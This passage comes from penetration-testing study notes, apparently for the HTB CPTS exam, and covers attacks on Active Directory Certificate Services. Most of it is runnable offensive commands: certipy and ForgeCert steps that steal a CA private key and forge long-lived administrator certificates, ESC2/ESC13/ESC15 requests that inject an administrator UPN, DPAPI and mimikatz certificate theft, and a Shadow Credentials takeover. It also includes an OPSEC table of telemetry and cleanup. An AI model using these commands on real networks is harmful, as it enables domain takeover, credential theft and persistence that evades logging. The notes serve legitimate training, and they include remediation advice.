certipy-ad ca -backup -ca 'CA-NAME' -u "administrator@$DOMAIN" -hashes :$ADMIN_NT -dc-ip $IP -target $IP
# -> CA-NAME.pfx   (guard this — it IS the domain, offline)

# 2. Forge a cert for ANY principal, no CA contact, no logs, custom validity
certipy-ad forge -ca-pfx 'CA-NAME.pfx' -upn "administrator@$DOMAIN" \
  -subject "CN=Administrator,CN=Users,$BASEDN" -out administrator_forged.pfx
#   add -validity-period 3650 for a 10-year cert; BASEDN e.g. "DC=corp,DC=example,DC=local"

# 3. Authenticate with the forged cert -> TGT + hash (auth tail)
certipy-ad auth -pfx administrator_forged.pfx -username administrator -domain $DOMAIN -dc-ip $IP

Windows equivalent: ForgeCertForgeCert.exe --CaCertPath CA-NAME.pfx --Subject "CN=x" --SubjectAltName administrator@$DOMAIN --NewCertPath forged.pfx … then Rubeus asktgt /getcredentials.

[!note] Why it’s nasty forge is 100% offline — zero CA logs, no request ID, serial number that never existed in the CA DB. Only the initial backup (Event ID 70 / DPAPI access on the CA) is noisy. HSM-backed keys defeat it. See also DPERSIST2 — Rogue CA Certificate (NTAuth Injection) and DPERSIST3 — Malicious Misconfiguration (ACL Backdoor).

[!shield] Remediation Protect CA keys with an HSM, tier CA admins like DAs, alert on CA key export (certsvc backup, DPAPI masterkey access), and periodically audit NTAuthCertificates for rogue CAs.

Quick hits — ESC2 / ESC13 / ESC15

# ESC2 (Any Purpose / No EKU) — the cert authenticates for anything; inject UPN like ESC1
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'VulnTemplate' -upn "administrator@$DOMAIN"

# ESC13 (OID→group link) — enroll a linked template; KDC drops the group's SID into your PAC on auth
certipy-ad req  -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'LinkedPolicyTemplate'
certipy-ad auth -pfx lowpriv.pfx -username "$U" -domain $DOMAIN -dc-ip $IP

# ESC15 / EKUwu (CVE-2024-49019) — inject Client Auth policy into a schema-v1 template CSR
certipy-ad req -u "$U@$DOMAIN" -p "$P" -dc-ip $IP -dc-host $DC -ca 'CA-NAME' -template 'User' \
  -upn "administrator@$DOMAIN" -application-policies 'Client Authentication'

Certificate theft — DPAPI-locked certs on disk (THEFT1–THEFT5)

What to look for → any Windows foothold with users/machines that hold certs in the Windows cert store (cert:\CurrentUser\My, cert:\LocalMachine\My) or as .pfx files in shares/profiles. Stolen certs = authentication material that survives password resets until expiry/revocation.

# SharpDPAPI (staged above) — unwrap user certs via DPAPI masterkeys
.\SharpDPAPI.exe certificates                          # current-user context
.\SharpDPAPI.exe certificates /machine                 # machine store (needs admin)
.\SharpDPAPI.exe certificates /pvk:masterkey.pvk       # with a looted domain DPAPI backup key
# -> prints PEM (cert + private key)
# mimikatz equivalent (cross-ref Stage 10 loot flows)
crypto::certificates /export                           # current-user store -> .pfx
crypto::certificates /systemstore:local_machine /store:my /export   # machine store
dpapi::masterkey /in:"C:\Users\<u>\AppData\Roaming\Microsoft\Protect\<SID>\<guid>" /rpc   # fetch masterkey from DC

Format juggling — Certify/SharpDPAPI/mimikatz hand you PEM or PFX; convert as needed:

Have → wantCommand
PEM (cert+key) → PFXopenssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
PFX → PEM pairopenssl pkcs12 -in cert.pfx -out cert.pem -nodes
PFX → cert onlyopenssl pkcs12 -in cert.pfx -clcerts -nokeys -out cert.crt
PFX → key onlyopenssl pkcs12 -in cert.pfx -nocerts -nodes -out cert.key
inspectopenssl pkcs12 -in cert.pfx -info -noout · openssl x509 -in cert.crt -text -noout

[!tip] THEFT cheat sheet THEFT1 = export cert+key via CryptoAPI (mimikatz crypto::certificates /export) · THEFT2 = user certs via DPAPI (SharpDPAPI certificates) · THEFT3 = machine certs via DPAPI (/machine) · THEFT4 = find .pfx in shares (Snaffler) · THEFT5 = use PKINIT to UnPAC the hash off a cert (the universal tail above). Full write-ups: _ADCS Attack Methodology Guide.

PKINIT vs Schannel — and the 2016/2022 mapping gotchas

PKINIT (certipy auth, Rubeus asktgt)Schannel (certipy auth -ldap-shell, nxc --pfx-cert)
What you getTGT + NT hash (UnPAC)LDAPS session / LDAP shell as the identity
RequiresDC doing PKINIT (2016+ with ADCS; KDC certs healthy)DC with LDAPS; cert maps via CertificateMappingMethods
Mapping logicSID extension → UPN fallback (KB5014754 enforcement applies)Explicit altSecurityIdentities first, then weak methods per registry
Fails whenClock skew, no ADCS trust on DC, enforcement=2 + no SIDLDAPS not exposed, strong-mapping-only config
Choose whenYou want a reusable TGT/hash (almost always)PKINIT blocked or you only need LDAP writes (e.g. finish an ESC4 from LDAP shell)

[!warning] DC OS gotchas

  • Server 2016/2019 DCs often run with StrongCertificateBindingEnforcement absent (=0, off) or in compatibility (=1) — weak UPN mapping works and ESC6/9/16 chains land.
  • Server 2022+ / fully patched estates trending to enforcement=2 reject any cert without the SID extension or a strong explicit mapping — classic ESC1/ESC6 certs stop authenticating; pivot to ESC16 (if the CA disabled the extension), Certifried (pre-patch), or theft/persistence paths.
  • CertificateMappingMethods = 0x1F (default) keeps weak Schannel methods on even when PKINIT enforces — pass-the-cert via LDAPS may still work when auth fails.
  • Always check both registries (Kdc + Schannel) before declaring a mapping attack dead — they’re independent switches.

[!tip] Shadow Credentials — the ACL-only bypass If I hold GenericWrite/GenericAll over a target but ADCS templates are locked down, skip certs entirely: plant a Key Credential and PKINIT as them. certipy-ad shadow auto -u "$U@$DOMAIN" -p "$P" -account 'target' -dc-ip $IP -dc-host $DC -ns $IP. Full write-up: Shadow Credentials — msDS-KeyCredentialLink Abuse and Stage 06.


🛡️ OPSEC — what’s logged, what to clean

ActionTelemetryCleanup
Cert request issuedCA events 4886 (request received) / 4887 (issued), request IDs in CA DBRevoke: certutil -config "CA" -revoke <serial> 5; delete row via certsrv.msc if you have CA admin
Denied request (ESC7 dance)4888 denied + your -issue-request approvalDeny/remove the request; remove officer + disable template
Template modified (ESC4)4899/4900 template changeRestore from saved JSON immediately
UPN swap (ESC9/16)4738 user changed (twice)Keep window tight; restore exact original value
Relay/coercion (ESC8/11)SMB 4624/4627 from coerced host, network NTLM to CANothing to clean on CA; expect IR questions
Machine account created (Certifried)4741 computer createdDelete EVILPC$
CA backup (DPERSIST1)certsvc backup events, DPAPI masterkey access (4662/4663 on CA)The stolen CA key is forever — disclose in report
Cert theft (THEFT)DPAPI blob access, EDR on LSASS-adjacent toolingNothing persistent; delete exported files

[!warning] Golden rules

  • Every issued cert is valid until expiry — deleting the request row doesn’t kill the cert; revoke by serial number.
  • Certificate authentication bypasses password policy, smart-card-only flags are rare, and a stolen/forged cert survives password resets — treat every issued admin cert as a standing credential for the report.
  • Prefer -stdout triage and targeted req over mass enrollment; each 4887 is a breadcrumb.
  • Time-sync before PKINIT; nothing screams “attacker” like a burst of KRB_AP_ERR_SKEW failures.

🎯 MITRE ATT&CK mapping

TechniqueIDWhere used here
Steal or Forge Authentication CertificatesT1649ESC1–ESC16 issuance abuse
Unsecured Credentials: Private KeysT1552.004THEFT1–4, CA key theft
Create Account: Computer AccountT1136.001Certifried / RBCD machine accounts
Account ManipulationT1098UPN/dNSHostName swaps, altSecurityIdentities
Pass the TicketT1550.003Spending .ccache after auth
Use Alternate Authentication Material: Pass the HashT1550.002NT hash from UnPAC
Adversary-in-the-Middle: NTLM RelayT1557.001ESC8/ESC11 relays
Valid AccountsT1078Authenticating as victim via cert

[!tip] CPTS exam tips

  • Triage order: certipy find -vulnerable -stdout → if clean, -enabled and read template flags by hand (ESC9/13/15/16 hide there) → registry checks (enforcement + CertificateMappingMethods) → patch level.
  • Fluffy-style chains dominate: Stage-06 ACL edge (GenericWrite) → shadow creds or UPN-swap (ESC16) → admin cert → DCSync. ADCS questions usually start one stage earlier.
  • certipy req NetBIOS timeout? Re-run. KRB_AP_ERR_SKEW? faketime. no object SID? Only fatal at enforcement=2.
  • Keep the CA name EXACT (CA-NAME not CA-NAME.domain.local) in -ca flags — copy it from find output.
  • Cross-links: Stage 06 — ACL Abuse (the GenericWrite edges that feed ESC9/16/shadow creds) · Stage 03 (coercion primitives for ESC8/11) · Stage 05 — Kerberos (PKINIT/UnPAC internals) · Stage 08 (when the answer is a hash, not a cert) · Stage 10 (spending the DA hash).

[!navigation] Continue the attack flow Previous: Stage 06 — ACL and Object Abuse

Dashboard: HTB Pentest Attack Flow

Next: Stage 08 — Password Attacks and Credential Hunting